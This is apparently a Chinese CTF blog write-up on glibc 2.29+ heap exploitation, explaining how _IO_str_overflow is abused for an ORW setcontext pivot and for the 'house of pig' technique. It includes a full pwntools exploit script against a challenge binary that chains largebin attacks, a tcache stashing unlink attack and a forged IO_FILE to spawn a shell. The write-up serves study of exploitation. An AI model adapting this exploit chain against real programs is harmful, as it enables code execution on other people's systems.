摆烂很长时间之后,终于下定决心来看点新的东西。正好 winmt 师傅前不久把他 pig 修好的附件发给我了,我就借此来学习一下新版本的 IO_FILE 及 house of pig。

新版本的 IO_FILE 利用的函数是老版本中喜欢用的 _IO_str_overflow,我们来看一下 glibc 2.29 下的_IO_str_overflow 的源码

int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
} if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

里面调用了  malloc ,memcpy,free 函数,且通过伪造 IO_FILE 结构,我们可以控制 malloc 的大小,memcpy 的参数等,借此我们就可以大致完成接下来 house of pig 的利用了。但是我这里先记叙一个也是通过这个函数来进行 ORW 的方法。我们观察这个函数在 glibc 2.29 里的汇编

注意到有 mov    rdx,[rdi + 0x28] 的操作也就是说我们可以尝试通过 rdi 来控制 rdx,并且此时的 rdi 就是 fake IO_FILE 结构体的首地址,通过 largebin attack 即可控制 rdx,而 glibc 2.29 及以上的 setcontext 里由原来的 rdi 控制寄存器转变为由 rdx 控制寄存器。所以我们一旦利用这个函数进行攻击那么就不需要寻找特定的 gadget 来对寄存器进行转换,并且这个函数中的转换是在调用 malloc 之前。我们如果事先把 __malloc_hook 改为 setcontext 的地址,并且提前布置好 ORW 的位置(把 srop_addr 放在 _IO_write_ptr 上),那么再调用 _IO_str_overflow 的时候就会先控制好 rdx 寄存器,再通过 __malloc_hook 来触发 setcontext 来进行对 rsp ,rip 的控制,从而控制程序执行流来执行 ORW。

好了现在下面讲 house of pig 这个操作,其主要原理在上面已经提到,就是利用 _IO_str_overflow 里的 malloc,memcpy,free函数的连续调用。通过合理布局把 __free_hook - 0x10 的位置链入 tcache 中,再通过伪造的 IO_FILE 来使得 malloc 时可以把 __free_hook - 0x10 申请出来,并且可以通过 memcpy 把 system_addr  复制到 __free_hook 中,最后即可通过 free(old_buf) 来 get shell。

从上面源码 size_t new_size = 2 * old_blen + 100; 可知 malloc 的 size = 2*( _IO_buf_end -  _IO_buf_base) + 100

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./pig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
s.sendlineafter(b'Choice: ' , b'1')
s.sendlineafter(b'size: ' , str(size))
s.sendlineafter(b'message: ' , content) def show(index):
s.sendlineafter(b'Choice: ' , b'2')
s.sendlineafter(b'index: ' , str(index)) def edit(index,content):
s.sendlineafter(b'Choice: ' , b'3')
s.sendlineafter(b'index: ' , str(index))
s.sendafter(b'message: ' , content) def delete(index):
s.sendlineafter(b'Choice: ' , b'4')
s.sendlineafter(b'index: ' , str(index)) def change(user):
s.sendlineafter(b'Choice: ' , b'5')
if (user == 1):
s.sendlineafter(b'user:\n' , b'A\x01\x95\xc9\x1c')
elif (user == 2):
s.sendlineafter(b'user:\n' , b'B\x01\x87\xc3\x19')
elif (user == 3):
s.sendlineafter(b'user:\n' , b'C\x01\xf7\x3c\x32') #----- prepare for tcache stashing unlink attack
change(2)
for i in range(5):
add(0x90 , b'B'*0x28) # B0-B4
delete(i) # B0-B4 change(1)
add(0x150 , b'A'*0x68) # A0 for i in range(7):
add(0x150 , b'A'*0x68) # A1-A7
delete(i+1) # A1-A7
delete(0) change(2)
add(0xb0 , b'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 change(1)
add(0x180 , b'A'*0x78) # A8
for i in range(7):
add(0x180 , b'A'*0x78) # A9-A15
delete(i+9)
delete(8) change(2)
add(0xe0 , b'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 #----- leak libc_base and heap_base
change(1)
add(0x430 , b'A'*0x158) # A16 change(2)
add(0xf0 , b'B'*0x48) # B7 change(1)
delete(16) change(2)
add(0x440 , b'B'*0x158) # B8 throw A16 to largebin change(1)
show(16)
s.recvuntil(b'message is: ')
libc_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x1ebfe0
success('libc_base=>' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_str_jumps = libc_base + 0x1ed560 edit(16 , b'A'*0xf + b'\n')
show(16)
s.recvuntil(b'message is: ' + b'A'*0xf + b'\n')
heap_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x13940
success('heap_base=>' + hex(heap_base)) #----- first largebin attack
edit(16 , p64(libc_base + 0x1ebfe0)*2 + p64(heap_base + 0x13940)*2 + b'\n')
add(0x430 , b'A'*0x158) # A17
add(0x430 , b'A'*0x158) # A18
add(0x430 , b'A'*0x158) # A19 change(2)
delete(8)
add(0x450 , b'B'*0x168) # B9 throw B8 to largebin change(1)
delete(17) # throw A17 to unsortedbin change(2)
edit(8 , p64(0) + p64(__free_hook - 0x28) + b'\n') change(3)
add(0xa0 , b'C'*0x28) # c0 triger largebin attack to write a heap_addr to __free_hook - 8 change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #----- second largebin attack
change(3)
add(0x380 , b'C'*0x118) # c1 clean unsortedbin change(1)
delete(19) change(2)
edit(8 , p64(0) + p64(_IO_list_all - 0x20) + b'\n') change(3)
add(0xa0 , b'C'*0x28) # c2 tiger largebin attack to write a heap_addr to _IO_list_all change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #------ tcache stashing unlink attack
change(1)
payload = b'A'*0x50 + p64(heap_base + 0x12280) + p64(__free_hook - 0x20) + b'\n'
edit(8 , payload) change(3)
payload = b'\x00'*0x18 + p64(heap_base + 0x147c0)
payload = payload.ljust(0x158 , b'\x00')
add(0x440 , payload) # c3 change fake file _chain
add(0x90 , b'C'*0x28) # c4 triger tcache stashing unlink attack to put __free_hook-0x10 to tcache fake_IO_FILE = p64(0) # _IO_read_end
fake_IO_FILE+= p64(0) # _IO_read_base
fake_IO_FILE+= p64(1) # _IO_write_base
fake_IO_FILE+= p64(0xfffffffffffff) # _IO_write_ptr
fake_IO_FILE+= p64(0) # _IO_write_end
fake_IO_FILE+= p64(heap_base + 0x148a0) # _IO_buf_base
fake_IO_FILE+= p64(heap_base + 0x148b8) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0 , b'\x00')
fake_IO_FILE+= p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8 , b'\x00')
fake_IO_FILE+= p64(_IO_str_jumps) # _vtable payload = fake_IO_FILE + b'/bin/sh\x00' + p64(system_addr)*2 s.sendlineafter(b'Gift:' , payload) s.sendlineafter(b'Choice: ' , b'5')
s.sendline(b'') gdb.attach(s)
s.interactive()

附件

提取码:976p

参考链接:

https://mp.weixin.qq.com/s/U3FmOwXeWzq_FvwLTk1-Zg

https://www.anquanke.com/post/id/242640

https://www.anquanke.com/post/id/216290#h3-2

glibc2.29以上 IO_FILE 及 house of pig的更多相关文章

  1. Centos7 64位 -- glibc-2.29 编译升级方法(已成功)

    某软件出现漏洞,需要升级解决(忘了哪个)结果提示glibc版本过低. 懵懂无知的我以为glibc想其他软件一样编译升级一下就好.. 结果? 重装系统! 说真的,如非必要(或学习),请勿升级 glibc ...

  2. lfs(systemd版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...

  3. lfs(systemd版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  4. lfs(systemv版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记-第2页的地址:https://www.cnblogs.com/renren-study-n ...

  5. lfs(systemv版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  6. Centos7 -- glibc 升级失败、意外删除、故意删除后的处理方法

    第一部分:测试(如果不是想测试效果,可以直接跳到第三部分) 鉴于不久前 glibc-2.29 升级失败导致一系列的工具无法正常使用,‘’ 本着研究精神的我决定删除 glibc及其库文件 ,测试影响范围 ...

  7. Glibc编译报错:*** These critical programs are missing or too old: as ld gcc

    Binutils版本升级 这里是binutils版本过低导致, 查看已部署版本 上传离线升级包 [root@sdw1 glibc]# tar -zxvf binutils-2.32.tar.gz [r ...

  8. Tcahce Stashing Unlink Attack

    今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...

  9. Pig On Mac

    Install 首先是 Mac OS 下的安装 1 2 export JAVA_HOME=$(/usr/libexec/java_home) brew install pig Run Pig 运行分为 ...

随机推荐

  1. scanf用法及scanf中有\n的问题

    scanf()函数的原理 想象输入设备(键盘)连接着一个叫"缓冲"的东西,把缓冲认为是一个字符数组. 当你的程序执行到scanf时,会从你的缓冲区读东西,如果缓冲区是空的,就阻塞住 ...

  2. C语言中的单引号和双引号的区别

    首先肯定地说,二者是有区别的,不是说用谁都一样. 1.实质区别,代表的含义不同 'A'代表的是一个整数,而且这个整数对应的是编译器所采用的字符集中的字符序列对应的数值.所以'A'跟ASCII中的65意 ...

  3. Endnote

    #Entnote无法使用Find all test 搜索到sciencedirect的文章(或Elsevier 爱思唯尔) 下面是来自endnote官方论坛的原文Find full text for ...

  4. 剑指Offer系列_30_包含min函数的栈

    以空间换时间: package leetcode.sword_to_offfer.day01; import java.util.Stack; /** * 定义栈的数据结构,请在该类型中实现一个能够得 ...

  5. Spring中声明式事务的几个属性的解释

    声明式事务 @Transactional (通常用在service层)事务属性:传播行为,隔离级别,回滚,只读,过期 1,spring支持事务传播行为:propagation(常用以下两个)    ① ...

  6. HTTP状态码100、200、300、400、500、600的含义

    1xx (临时响应)表示临时响应并需要请求者继续执行操作的状态代码. 100 (继续) 请求者应当继续提出请求. 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分. 101 (切换协议) 请 ...

  7. 读源码【读mybatis的源码的思路】

    ✿ 需要掌握的编译器知识 ★ 编译器为eclipse为例子 调试准备工作(步骤:Window -> Show View ->...): □ 打开调试断点Breakpoint: □ 打开变量 ...

  8. 2021美团安洵暗泉re部分复现

    typora-copy-images-to: ./ 安洵杯 sign_in 贪吃蛇 虽然没啥用 smc解密拿一下flag相关的部分 倒着看看sub_40105F 和sub_401055函数 写出解密算 ...

  9. 框架3.2--搭建V·P·N

    目录 部署OpenVPN 一.服务端 1.安装openvpn和证书工具 2.生成服务器配置文件 3.准备证书签发相关文件 4.准备签发证书相关变量的配置文件 5.初始化PKI生成PKI相关目录和文件 ...

  10. PHP面试笔试宝典

    PHP面试笔试宝典 来自<PHP程序员面试笔试宝典>,涵盖了近三年了各大型企业常考的PHP面试题,针对面试题提取出来各种面试知识也涵盖在了本书. PHP题目 一.单例模式是在应用程序中最多 ...